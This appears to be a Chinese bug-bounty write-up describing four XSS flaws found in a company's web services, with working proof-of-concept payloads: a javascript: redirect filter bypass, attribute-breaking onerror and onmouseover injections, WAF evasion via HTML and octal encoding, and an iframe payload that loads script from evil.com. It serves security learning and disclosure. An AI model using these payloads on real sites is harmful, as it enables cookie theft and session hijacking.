最近开始尝试学习漏洞挖掘,在测试某SRC的几个业务时,发现了几个有意思的XSS漏洞点。对于那些请求参数最终会隐蔽地出现在返回页面的HTML标签里的情况,其实还挺常见的。为此我编写了一个Burp Suite插件来监听请求并捕获这类场景,插件地址是:https://github.com/Hpd0ger/SuperTags。
下面分享几个案例和相关的思考,如果有任何理解偏颇或错误的地方,欢迎大家指正交流。
案例一:登录跳转处的XSS
在某处登录页面,先查看了表单结构,并跟踪了其绑定的事件处理对象 utils。

直接看登录验证的核心部分,redata 是响应参数,登录成功时其 code 值为 0。站点的 host 假设为 normal.com。这里发现登录时可以带一个 cb 参数(我之前登录时没注意到,因为后台有个 logout 功能,点击后才会附带 cb 参数跳转到登录页)。

其中,getParam 方法如下:
getParam: function(c_name) {
var urlParams = location.href;
var c_start = urlParams.indexOf(c_name + "=");
if (c_start != -1) {
c_start = c_start + c_name.length + 1;
c_end = urlParams.indexOf("&", c_start);
if (c_end == -1) {
c_end = urlParams.length;
}
return urlParams.substring(c_start, c_end);
}else{
return null;
}
},
开发者对 cb 参数做了一层过滤:如果 cb 值中不包含 host(normal.com),则强制重定向到首页。但这个过滤很容易绕过,只需要将 host 放在 JavaScript 注释符后面即可。

POC:
cb=javascript:alert(document.cookie);//normal.com

案例二:图片上传处的XSS
这是该厂商的一个移动端业务。在测试前,已有其他安全研究员报告过类似漏洞,我们来看看它是如何产生的。
功能点:提交问题反馈,并可上传问题图片。

漏洞逻辑:
上传图片 -> 提交反馈 -> 服务端将提交的 imglist 参数(一个URI)拼接为 img 标签 src 属性的完整地址。
测试时,上传一张图片后点击提交并抓包,可以看到 imglist 参数是上传后返回的图片URI地址。

POST xxxx?q=index/feedback HTTP/1.1
imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&
问题就出在服务端拼接 img 标签这一步。通过修改 imglist 参数,可以提前闭合 src 属性,进而注入 onerror 等事件。
步骤:抓包修改 imglist 参数值 -> 拼接恶意JS事件。
POC:
imglist=urlencode(" onerror="alert(`XSS`)">

成功弹窗:

案例三:邮件提交页面的XSS
在测试某业务的邮箱验证功能时,发现一个页面会回显请求的邮箱地址。

记得之前看过相关文章,有些服务在发送邮件后会跳转到一个显示“邮件已发送至 [email]”的页面,可能导致反射型XSS。这里的情况类似。
随手测试发现,空格、双引号、尖括号和反斜杠直接被WAF拦截。HTML编码的尖括号被实体化转义,但HTML编码的双引号却没有。

在FUZZ过程中,多次出现“参数错误”的响应,推测应用层还有额外过滤:
- email 字符串长度 < 40 且以
@ 结尾。
- 不能同时出现两个双引号或括号。
- 正则匹配
alert(1)、prompt(1)、confirm(...) 等。
只要避开引号,可用的JS事件还有很多。一开始关注在 input 标签上测试 onclick 等事件,但它的 type 是 hidden,很多可视化事件无效。想起之前看过一个利用 accesskey 触发 hidden input 的XSS,POC如下:
urlencode(email="/accesskey="X"/onclick="alert('xss')"@qq.com)

但这个POC很鸡肋:利用条件苛刻(需 Firefox + 特定按键组合),且长度受限难以打出 Cookie。
回头查看页面,发现 form 标签也有输出点。最初以为 form 能执行的JS事件只有 reset 和 submit,后来测试发现 onmouseover 也能成功触发。
encodeurl(email="/onmouseover="alert(document.cookie)"@qq.com)

案例四:一个受阻的Iframe XSS
测试某业务时,发现一个有趣的参数拼接点:iframe 的 src 属性由 url 参数加上后端指定的第三方 host 拼接而成,然后加载。
测试发现特殊字符都被实体化了,但这个 iframe 的利用点让人不舍放弃。

经过一番寻找,发现该第三方服务本身的登录点存在一个JS跳转漏洞。用 iframe 加载指向这个第三方漏洞的URL,可以造成弹窗效果。

虽然弹窗发生在SRC业务站点,但实际执行脚本的域是子页面(第三方服务)。打印Cookie验证,确实是子页面域的Cookie。由于WAF过滤了 document.cookie 和 javascript:alert,我使用HTML编码的 : 和八进制编码的 . 进行绕过。
完整打印子页面Cookie的Payload如下:
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)
在进一步探索中,我做了两个尝试:
1. 尝试加载外部JS,看是否能改变 src 属性
https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
但结果只是把JS资源解析到了子页面的 document 中,并未改变 iframe 的 src。

2. iframe 是否能调用父页面的事件?
如果可以,就能直接通过JS URI把父页面Cookie打出去。之所以这么想,是因为主站调用了这个三方服务,很可能该服务在主站的 iframe-src 白名单里。但测试后发现依然受跨域限制。
测试Payload:
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)

我对跨域利用姿势了解不多,如果各位师傅有兴趣,欢迎一起来探讨这类问题。
总结与思考
从打CTF到学习挖洞,思维上确实有一些需要转换的地方。我越来越能体会到前辈们强调资产收集重要性的原因。很多时候,漏洞隐藏在不显眼的参数、看似无害的拼接逻辑,或者对过滤规则的理解偏差之中。渗透测试 不仅是技术的运用,更是对业务逻辑和开发者思维的洞察。
这四个案例虽然都是XSS,但触发点和绕过方式各有不同,希望对正在学习 漏洞挖掘 的朋友有所启发。如果你对Web安全有更多想法或疑问,欢迎在 云栈社区 的技术板块交流讨论。